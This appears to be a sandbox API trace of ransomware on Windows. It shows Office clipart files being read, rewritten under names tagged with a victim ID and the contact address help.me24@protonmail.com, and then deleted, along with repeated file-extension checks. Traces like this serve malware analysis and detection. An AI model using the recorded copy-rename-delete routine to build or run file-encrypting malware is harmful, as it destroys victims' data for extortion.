	[0172.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220
	[0172.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.676] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.676] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0172.677] GetLastError () returned 0x0
	[0172.677] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x542c, lpOverlapped=0x0) returned 1
	[0172.680] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x5430, lpOverlapped=0x0) returned 1
	[0172.681] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.681] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.681] SetEndOfFile (hFile=0x52c) returned 1
	[0172.681] CloseHandle (hObject=0x52c) returned 1
	[0172.681] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.681] SetEndOfFile (hFile=0x544) returned 1
	[0172.685] CloseHandle (hObject=0x544) returned 1
	[0172.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1
	[0172.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.686] lstrlenW (lpString=".doc") returned 4
	[0172.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.686] lstrlenW (lpString=".docx") returned 5
	[0172.686] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0172.686] lstrlenW (lpString=".pdf") returned 4
	[0172.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.686] lstrlenW (lpString=".xls") returned 4
	[0172.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.686] lstrlenW (lpString=".xlsx") returned 5
	[0172.686] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0172.686] lstrlenW (lpString=".ppt") returned 4
	[0172.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.686] lstrlenW (lpString=".zip") returned 4
	[0172.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.686] lstrlenW (lpString=".rar") returned 4
	[0172.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.686] lstrlenW (lpString=".bz2") returned 4
	[0172.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString=".7z") returned 3
	[0172.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.687] lstrlenW (lpString=".dbf") returned 4
	[0172.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.687] lstrlenW (lpString=".1cd") returned 4
	[0172.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.687] lstrlenW (lpString=".jpg") returned 4
	[0172.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.687] lstrlenW (lpString=".doc") returned 4
	[0172.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString=".docx") returned 5
	[0172.687] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0172.687] lstrlenW (lpString=".pdf") returned 4
	[0172.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString=".xls") returned 4
	[0172.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.687] lstrlenW (lpString=".xlsx") returned 5
	[0172.687] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0172.687] lstrlenW (lpString=".ppt") returned 4
	[0172.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.687] lstrlenW (lpString=".zip") returned 4
	[0172.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.687] lstrlenW (lpString=".rar") returned 4
	[0172.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.687] lstrlenW (lpString=".bz2") returned 4
	[0172.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.688] lstrlenW (lpString=".7z") returned 3
	[0172.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.688] lstrlenW (lpString=".dbf") returned 4
	[0172.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.688] lstrlenW (lpString=".1cd") returned 4
	[0172.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0172.688] lstrlenW (lpString=".jpg") returned 4
	[0172.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.688] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.688] lstrlenW (lpString="J0105600.WMF") returned 12
	[0172.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.689] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=8680) returned 1
	[0172.689] CloseHandle (hObject=0x544) returned 1
	[0172.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220
	[0172.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.690] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.690] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0172.690] GetLastError () returned 0x0
	[0172.690] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x21e8, lpOverlapped=0x0) returned 1
	[0172.951] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x21f0, lpOverlapped=0x0) returned 1
	[0172.952] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.952] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.952] SetEndOfFile (hFile=0x52c) returned 1
	[0172.953] CloseHandle (hObject=0x52c) returned 1
	[0172.953] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.953] SetEndOfFile (hFile=0x544) returned 1
	[0172.958] CloseHandle (hObject=0x544) returned 1
	[0172.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1
	[0172.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.961] lstrlenW (lpString=".doc") returned 4
	[0172.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.961] lstrlenW (lpString=".docx") returned 5
	[0172.961] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.961] lstrlenW (lpString=".pdf") returned 4
	[0172.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.961] lstrlenW (lpString=".xls") returned 4
	[0172.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.962] lstrlenW (lpString=".xlsx") returned 5
	[0172.962] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.962] lstrlenW (lpString=".ppt") returned 4
	[0172.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.962] lstrlenW (lpString=".zip") returned 4
	[0172.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.962] lstrlenW (lpString=".rar") returned 4
	[0172.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString=".bz2") returned 4
	[0172.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString=".7z") returned 3
	[0172.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.962] lstrlenW (lpString=".dbf") returned 4
	[0172.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.962] lstrlenW (lpString=".1cd") returned 4
	[0172.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.962] lstrlenW (lpString=".jpg") returned 4
	[0172.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.962] lstrlenW (lpString=".doc") returned 4
	[0172.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString=".docx") returned 5
	[0172.962] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.962] lstrlenW (lpString=".pdf") returned 4
	[0172.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.962] lstrlenW (lpString=".xls") returned 4
	[0172.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.963] lstrlenW (lpString=".xlsx") returned 5
	[0172.963] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.963] lstrlenW (lpString=".ppt") returned 4
	[0172.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.963] lstrlenW (lpString=".zip") returned 4
	[0172.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.963] lstrlenW (lpString=".rar") returned 4
	[0172.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.963] lstrlenW (lpString=".bz2") returned 4
	[0172.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.963] lstrlenW (lpString=".7z") returned 3
	[0172.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.963] lstrlenW (lpString=".dbf") returned 4
	[0172.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.963] lstrlenW (lpString=".1cd") returned 4
	[0172.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0172.963] lstrlenW (lpString=".jpg") returned 4
	[0172.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.963] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.963] lstrlenW (lpString="J0106020.WMF") returned 12
	[0172.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.964] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=10060) returned 1
	[0172.964] CloseHandle (hObject=0x544) returned 1
	[0172.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220
	[0172.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.965] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.965] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0172.966] GetLastError () returned 0x0
	[0172.966] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x274c, lpOverlapped=0x0) returned 1
	[0172.968] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2750, lpOverlapped=0x0) returned 1
	[0172.969] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.969] WriteFile (in: hFile=0x52c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.970] SetEndOfFile (hFile=0x52c) returned 1
	[0172.970] CloseHandle (hObject=0x52c) returned 1
	[0172.970] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.970] SetEndOfFile (hFile=0x544) returned 1
	[0172.973] CloseHandle (hObject=0x544) returned 1
	[0172.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1
	[0172.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.975] lstrlenW (lpString=".doc") returned 4
	[0172.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.975] lstrlenW (lpString=".docx") returned 5
	[0172.975] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.975] lstrlenW (lpString=".pdf") returned 4
	[0172.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.975] lstrlenW (lpString=".xls") returned 4
	[0172.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.975] lstrlenW (lpString=".xlsx") returned 5
	[0172.975] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.975] lstrlenW (lpString=".ppt") returned 4
	[0172.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.975] lstrlenW (lpString=".zip") returned 4
	[0172.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.975] lstrlenW (lpString=".rar") returned 4
	[0172.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.975] lstrlenW (lpString=".bz2") returned 4
	[0172.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.975] lstrlenW (lpString=".7z") returned 3
	[0172.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.975] lstrlenW (lpString=".dbf") returned 4
	[0172.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.976] lstrlenW (lpString=".1cd") returned 4
	[0172.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.976] lstrlenW (lpString=".jpg") returned 4
	[0172.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.976] lstrlenW (lpString=".doc") returned 4
	[0172.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString=".docx") returned 5
	[0172.976] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0172.976] lstrlenW (lpString=".pdf") returned 4
	[0172.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString=".xls") returned 4
	[0172.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.976] lstrlenW (lpString=".xlsx") returned 5
	[0172.976] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0172.976] lstrlenW (lpString=".ppt") returned 4
	[0172.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.976] lstrlenW (lpString=".zip") returned 4
	[0172.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.976] lstrlenW (lpString=".rar") returned 4
	[0172.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString=".bz2") returned 4
	[0172.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.976] lstrlenW (lpString=".7z") returned 3
	[0172.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.976] lstrlenW (lpString=".dbf") returned 4
	[0172.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.977] lstrlenW (lpString=".1cd") returned 4
	[0172.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0172.977] lstrlenW (lpString=".jpg") returned 4
	[0172.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.977] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0172.977] lstrlenW (lpString="J0106124.WMF") returned 12
	[0172.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0172.978] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5812) returned 1
